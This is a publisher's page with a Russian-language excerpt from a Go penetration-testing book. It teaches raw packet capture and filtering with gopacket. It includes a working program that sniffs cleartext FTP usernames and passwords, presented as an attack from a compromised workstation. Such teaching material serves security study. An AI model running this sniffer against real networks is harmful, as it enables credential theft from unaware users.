Новости

24.10.2022

Книга «Black Hat Go: Программирование для хакеров и пентестеров»

Обработка сырых пакетов


В этой главе вы научитесь перехватывать и обрабатывать сетевые пакеты. Эту технику можно использовать для многих задач, включая перехват аутентификационных данных в виде открытого текста, изменение содержащейся в пакетах функциональности приложения, а также спуфинга и отравления трафика. Помимо этого, можно применять ее для SYN-сканирования и сканирования портов через защиту от SYN-флуда.

Мы представим вам прекрасную библиотеку gopacket от Google, которая позволит как декодировать пакеты, так и собирать поток трафика обратно. Эта библиотека дает возможность фильтровать трафик с помощью модуля отбора пакетов Berkeley Packet Filter (BPF), иначе называемого синтаксисом tcpdump, читать и записывать файлы .pcap, а также просматривать различные сетевые уровни и данные, управлять пакетами.

Мы приведем несколько примеров, чтобы показать, как идентифицировать устройства, фильтровать результаты и создавать сканер портов, способный обходить защиту от SYN-флуда.

Настройка среды


Для начала установите gopacket:

$ go get github.com/google/gopacket


Итак, gopacket опирается на внешние библиотеки и драйверы для обхода стека протоколов операционной системы. Если вам потребуется компилировать примеры главы для использования под Linux или macOS, нужно будет установить libpcap-dev. Это можно сделать с помощью большинства утилит управления пакетами, например apt, yum или brew. Вот пример ее установки с помощью apt (для двух других процесс аналогичен):

$ sudo apt-get install libpcap-dev


Если вы хотите компилировать и запускать примеры под Windows, то в зависимости от необходимости выполнять кросс-компиляцию выберите один из двух вариантов. Проще будет настроить среду разработки, если не делать кросс-компиляцию, но в этом случае придется создать среду Go на машине с Windows, что может показаться неудобным, если вы не хотите громоздить еще одну среду. Пока мы предположим, что у вас есть рабочая среда, которую можно использовать для компиляции исполняемых файлов Windows. В этой среде нужно установить WinPcap. Установщик можете скачать бесплатно с сайта https://www.winpcap.org/.

Идентификация устройств с помощью субпакета pcap


Прежде чем перехватывать сетевой трафик, нужно идентифицировать устройства, на которых можно производить прослушивание. Это легко сделать с помощью субпакета gopacket/pcap, который получает их посредством вспомогательной функции pcap.Find AllDevs() (ifs []Interface, err error). В листинге 8.1 показано, как использовать его для перечисления всех доступных интерфейсов. (Все листинги кода находятся в корне /exist репозитория https://github.com/blackhat-go/bhg/.)

Листинг 8.1. Перечисление доступных сетевых устройств (/ch-8/identify/main.go)

package main
import (
       "fmt"
       "log"

       "github.com/google/gopacket/pcap"
)

func main() {
   ❶ devices, err := pcap.FindAllDevs()
       if err != nil {
              log.Panicln(err)
       }
   ❷ for _, device := range devices {
              fmt.Println(device.Name❸)
              ❹ for _, address := range device.Addresses {
                     ❺ fmt.Printf(" IP: %s\n", address.IP)
fmt.Printf(" Netmask: %s\n", address.Netmask)
              }
       }
}


Перечисление устройств реализуется вызовом pcap.FindAllDevs() ❶, после чего выполняется их перебор ❷. В каждом устройстве мы обращаемся к различным свойствам, включая device.Name ❸. Мы также обращаемся к их IP-адресам через свойство Addresses, являющееся срезом типа pcap.InterfaceAddress. Далее происходит перебор этих адресов ❹, в процессе которого на экран выводятся как сами адреса, так и маски подсети ❺.

При выполнении этой утилиты мы получим вывод, аналогичный показанному в листинге 8.2.

Листинг 8.2. Вывод, отражающий доступные сетевые интерфейсы

$ go run main.go
enp0s5
       IP: 10.0.1.20
       Netmask: ffffff00
       IP: fe80::553a:14e7:92d2:114b
       Netmask: ffffffffffffffff0000000000000000
any
lo
       IP: 127.0.0.1
       Netmask: ff000000
       IP: ::1
       Netmask: ffffffffffffffffffffffffffffffff


В этом выводе перечислены доступные сетевые интерфейсы — enp0s5, any и lo, а также их адреса IPv4/IPv6 и маски подсети. Вывод вашей системы наверняка будет отличаться деталями, но в целом окажется аналогичен, так что разобраться в информации будет несложно.

Онлайн-перехват и фильтрация результатов


Теперь, когда вы знаете, как запрашивать доступные устройства, можете использовать возможности gopacket для перехвата пакетов в ходе их передачи. В процессе этого вы также будете фильтровать набор пакетов с помощью синтаксиса BPF. BPF позволяет задавать пределы содержимого перехватываемых и отображаемых данных, в результате чего вы видите только релевантный трафик. Обычно таким образом фильтруются протоколы и порты. Например, можно создать фильтр, чтобы видеть весь TCP-трафик, направляющийся к порту 80. Фильтрацию можно делать также по целевому хосту. Всестороннее рассмотрение синтаксиса BPF выходит за рамки темы книги, поэтому рекомендуем дополнительно ознакомиться с ресурсом http://www.tcpdump.org/manpages/pcap-filter.7.html.

В листинге 8.3 приведен код, фильтрующий трафик для перехвата только TCP-пакетов, отправляемых к порту 80 и от него.

Листинг 8.3. Использование фильтра BPF для перехвата конкретного трафика

(/ch-8/filter/main.go)
       package main
              import (
              "fmt"
              "log"

              "github.com/google/gopacket"
              "github.com/google/gopacket/pcap"
       )

❶ var (
              Iface = "enp0s5"
              snaplen = int32(1600)
              promisc = false
              timeout = pcap.BlockForever
              filter = "tcp and port 80"
              devFound = false
       )

       func main() {
              devices, err := pcap.FindAllDevs()❷
              if err != nil {
                     log.Panicln(err)
              }

       ❸ for _, device := range devices {
              if device.Name == iface {
                     devFound = true
              }
       }
       if !devFound {
              log.Panicf("Device named '%s' does not exist\n", iface)
       }

       ❹ handle, err := pcap.OpenLive(iface, snaplen, promisc, timeout)
           if err != nil {
              log.Panicln(err)
           }
           defer handle.Close()

       ❺ if err := handle.SetBPFFilter(filter); err != nil {
              log.Panicln(err)
          }

       ❻ source := gopacket.NewPacketSource(handle, handle.LinkType())
              for packet := range source.Packets()❼ {
              fmt.Println(packet)
          }
}


Код начинается с определения нескольких переменных, необходимых для настройки перехвата пакетов ❶. Среди них присутствует имя интерфейса (iface), в котором нужно перехватывать данные, длина снимка (количество данных, перехватываемых в каждом фрейме данных (snaplen)), переменная promisc (определяет, активен ли режим приема всех пакетов), а также тайм-аут. Кроме того, здесь мы определяем фильтр BPF — tcp and port 80. Это гарантирует перехват только соответствующих данным критериям пакетов.

В функции main() происходит перечисление всех доступных устройств ❷, а также их перебор для определения наличия нужного интерфейса перехвата ❸. Если имя интерфейса не существует, возникает паника, указывающая на его недействительность.

В оставшейся части функции main() прописана логика перехвата. С высокоуровневой перспективы нужно сначала получить или создать *pcap.Handle, что позволит считывать и внедрять пакеты. Используя эту обработку, затем можно применить фильтр BPF и создать новый источник пакетных данных, из которого удастся считывать пакеты.

Мы создаем *pcap.Handle (в коде именуемый handle) путем вызова pcap.OpenLive() ❹. Эта функция получает имя интерфейса, длину снимка, логический параметр promisc, а также значение тайм-аута. Все эти входные переменные задаются до функции main(). Вызов handle.SetBPFFilter(filter) настраивает фильтр BPF для обработки ❺, после чего handle используется в качестве ввода при вызове gopacket.NewPacketSource(handle, handle.LinkType()) для создания нового источника пакетных данных ❻. Второе вводное значение, handle.LinkType(), определяет используемый при обработке пакетов декодер. В завершение происходит фактическое считывание пакетов в процессе их передачи путем применения в source.Packets() цикла ❼, возвращающего канал.

Из приведенных ранее примеров вы можете вспомнить, что в процессе перебора передаваемых по каналу данных цикл блокируется, когда данных в этом канале не остается. При поступлении пакета мы считываем его и выводим содержимое на экран.

Вывод должен быть аналогичен приведенному в листинге 8.4. Обратите внимание на то, что программе требуются повышенные привилегии, поскольку мы считываем необработанное содержимое сети.

Листинг 8.4. Вывод перехваченных пакетов в stdout

$ go build -o filter && sudo ./filter
PACKET: 74 bytes, wire length 74 cap length 74 @ 2020-04-26 08:44:43.074187 -0500 CDT
- Layer 1 (14 bytes) = Ethernet {Contents=[..14..] Payload=[..60..]
SrcMAC=00:1c:42:cf:57:11 DstMAC=90:72:40:04:33:c1 EthernetType=IPv4 Length=0}
- Layer 2 (20 bytes) = IPv4 {Contents=[..20..] Payload=[..40..] Version=4 IHL=5
TOS=0 Length=60 Id=998 Flags=DF FragOffset=0 TTL=64 Protocol=TCP Checksum=55712
SrcIP=10.0.1.20 DstIP=54.164.27.126 Options=[] Padding=[]}
- Layer 3 (40 bytes) = TCP {Contents=[..40..] Payload=[] SrcPort=51064
DstPort=80(http) Seq=3543761149 Ack=0 DataOffset=10 FIN=false SYN=true RST=false
PSH=false ACK=false URG=false ECE=false CWR=false NS=false Window=29200
Checksum=23908 Urgent=0 Options=[..5..] Padding=[]}

PACKET: 74 bytes, wire length 74 cap length 74 @ 2020-04-26 08:44:43.086706 -0500 CDT
- Layer 1 (14 bytes) = Ethernet {Contents=[..14..] Payload=[..60..]
SrcMAC=00:1c:42:cf:57:11 DstMAC=90:72:40:04:33:c1 EthernetType=IPv4 Length=0}
- Layer 2 (20 bytes) = IPv4 {Contents=[..20..] Payload=[..40..] Version=4 IHL=5
TOS=0 Length=60 Id=23414 Flags=DF FragOffset=0 TTL=64 Protocol=TCP Checksum=16919
SrcIP=10.0.1.20 DstIP=204.79.197.203 Options=[] Padding=[]}
- Layer 3 (40 bytes) = TCP {Contents=[..40..] Payload=[] SrcPort=37314
DstPort=80(http) Seq=2821118056 Ack=0 DataOffset=10 FIN=false SYN=true RST=false
PSH=false ACK=false URG=false ECE=false CWR=false NS=false Window=29200
Checksum=40285 Urgent=0 Options=[..5..] Padding=[]}


Несмотря на то что сырой вывод не особо понятен, он содержит разделение по уровням. Теперь можно использовать вспомогательные функции, такие как packet.ApplicationLayer() и packet.Data(), чтобы извлечь необработанные байты одного уровня или всего пакета. Если совместить этот вывод с hex.Dump(), то можно отобразить содержимое в гораздо более читабельной форме. Поэкспериментируйте с этим самостоятельно.

Сниффинг и отображение учетных данных пользователя в открытом виде


Возьмем только что созданный код за основу и продолжим. Мы скопируем некоторую функциональность других инструментов для сниффинга и отображения пользовательских учетных данных в виде открытого текста.

Большинство современных организаций работают, применяя коммутируемые сети, которые вместо транслирования передают данные непосредственно между двумя конечными точками, усложняя пассивный перехват трафика в корпоративной среде. Тем не менее описываемая далее атака по сниффингу открытых данных будет эффективна при совмещении с отправлением протокола разрешения адресов (Address Resolution Protocol, ARP), принуждающим конечные точки взаимодействовать с вредоносным устройством в коммутируемой сети, а также при тайном прослушивании трафика, исходящего из взломанной рабочей станции пользователя. В этом примере мы предположим, что вы уже скомпрометировали рабочую станцию, и сосредоточимся только на перехвате трафика, задействующего FTP. Это позволит не раздувать код.

За исключением нескольких небольших изменений код в листинге 8.5 повторяет содержимое листинга 8.3.

Листинг 8.5. Перехват данных FTP-аутентификации (/ch-8/ftp/main.go)

package main
import (
       "bytes"
       "fmt"
       "log"
       "github.com/google/gopacket"
       "github.com/google/gopacket/pcap"
)

var (
       iface = "enp0s5"
       snaplen = int32(1600)
       promisc = false
       timeout = pcap.BlockForever
    ❶ filter = "tcp and dst port 21"
       devFound = false
)

func main() {
       devices, err := pcap.FindAllDevs()
       if err != nil {
              log.Panicln(err)
       }

       for _, device := range devices {
              if device.Name == iface {
                     devFound = true
              }
       }
       if !devFound {
              log.Panicf("Device named '%s' does not exist\n", iface)
       }

       handle, err := pcap.OpenLive(iface, snaplen, promisc, timeout)
       if err != nil {
              log.Panicln(err)
       }
       defer handle.Close()

       if err := handle.SetBPFFilter(filter); err != nil {
       log.Panicln(err)
}
source := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range source.Packets() {
    ❷ appLayer := packet.ApplicationLayer()
       if appLayer == nil {
              continue
       }
    ❸ payload := appLayer.Payload()
    ❹ if bytes.Contains(payload, []byte("USER")) {
              fmt.Print(string(payload))
       } else if bytes.Contains(payload, []byte("PASS")) {
              fmt.Print(string(payload))
              }
       }
}


Внесенные изменения составляют всего около 10 строк кода. Во-первых, мы изменили фильтр BPF для перехвата только трафика, направляющегося через порт 21 (порт, обычно используемый для FTP-трафика) ❶. Оставшаяся часть кода неизменна до завершения обработки пакетов.

Для обработки пакета из него сначала извлекается прикладной уровень и проверяется его фактическое наличие ❷, потому что именно прикладной уровень содержит FTP-команды и данные. Для его поиска мы определяем, является ли nil ответным значением packet.ApplicationLayer(). При условии наличия этого слоя в пакете производится извлечение полезной нагрузки (FTP-команд/данных) с помощью вызова appLayer.Payload() ❸.

Существуют схожие методы извлечения и анализа и других уровней и данных, но нам нужна только полезная нагрузка прикладного уровня. После извлечения полезная нагрузка проверяется на наличие команд USER или PASS ❹, указывающих, что она является частью последовательности авторизации. Если таковые обнаружены, полезная нагрузка выводится на экран.

Вот образец выполнения программы, перехватывающий попытку FTP-авторизации:

$ go build -o ftp && sudo ./ftp
USER someuser
PASS passw0rd


Естественно, этот код можно улучшить. В данном примере полезная нагрузка будет отображаться, если в любом ее месте встречаются слова USER или PASS. В действительности этот код должен просматривать только начало полезной нагрузки для устранения ложноположительных результатов, которые возникают, когда эти ключевые слова являются частью содержимого файла, передаваемого между клиентом и сервером, или частью более длинного слова, например PASSAGE или ABUSER. Мы рекомендуем вам внести эти доработки в код самостоятельно.

 

Об авторах

Том Стил (Tom Steele) работает на Go с момента выхода его первой версии в 2012 году и одним из первых в своей области использовал этот язык для создания инструментов противодействия киберугрозам. Том — ведущий консультант по исследованиям в Atredis Partners, более десяти лет работает в области оценки систем безопасности как в исследовательских целях, так и для борьбы с хакерскими атаками. Том проводил обучающие курсы на множестве конференций, включая Defcon, BlackHat, DerbyCon и BSides. Имеет черный пояс по бразильскому джиу-джитсу и регулярно участвует в соревнованиях регионального и национального уровня, а также основал в Айдахо собственную школу по этому боевому искусству.

Крис Паттен (Chris Patten) — сооснователь и ведущий специалист STACKTITAN — компании, занимающейся консультированием по безопасности специализированных служб защиты. Крис уже более 25 лет работает в этой сфере и за это время занимал множество различных должностей. Последние десять лет он консультировал ряд коммерческих и государственных организаций по многим направлениям, включая техники противодействия кибератакам, возможности выявления угроз и стратегии минимизации ущерба. На своей последней должности Крис выступал в роли лидера одной из крупнейших команд по противодействию атакам в Северной Америке.

Прежде чем стать консультантом, Крис служил в военно-воздушных силах США, оказывая технологическую поддержку в процессе боевых операций. Он был активным участником сообщества специальных операций Министерства обороны США в USSOCOM, консультировал группы по спецоперациям относительно чувствительных инициатив в области кибервойны. По завершении службы в армии Крис занимал ведущие должности во многих телекоммуникационных компаниях из списка Fortune 500, работая с партнерами в исследовательской сфере.

Дэн Коттманн (Dan Kottmann) — сооснователь и ведущий консультант STACKTITAN. Сыграл важную роль в росте и развитии крупнейшей североамериканской компании по противодействию киберугрозам, непосредственно участвуя в формировании навыков персонала, повышении эффективности процессов, улучшении пользовательского опыта и качества реализации услуг. На протяжении 15 лет Дэн занимался межотраслевым клиентоориентированным консультированием и развитием этой сферы, в первую очередь фокусируясь на информационной безопасности и поставке приложений.

Дэн выступал на разных национальных и региональных конференциях по безопасности, включая Defcon, BlackHat Arsenal, DerbyCon, BSides и др. Увлекается разработкой ПО и создал многие как открытые, так и проприетарные приложения, начиная с инструментов командной строки и заканчивая сложными трехуровневыми и облачными веб-приложениями.

 

О научном редакторе

Алекс Харви (Alex Harvey) всю жизнь посвятил работе в технологической сфере, занимался робототехникой, программированием, разработкой встраиваемых систем. Около 15 лет назад он перешел в сферу информационной безопасности, где сосредоточился на тестировании и исследованиях. Алексу всегда нравилось создавать инструменты для работы, и очередным средством для этого был выбран именно язык Go.

 

Подробнее с книгой можно ознакомиться в нашем каталоге.


Комментарии: 0

Пока нет комментариев


Оставить комментарий






CAPTCHAОбновить изображение

Наберите текст, изображённый на картинке

Все поля обязательны к заполнению.

Перед публикацией комментарии проходят модерацию.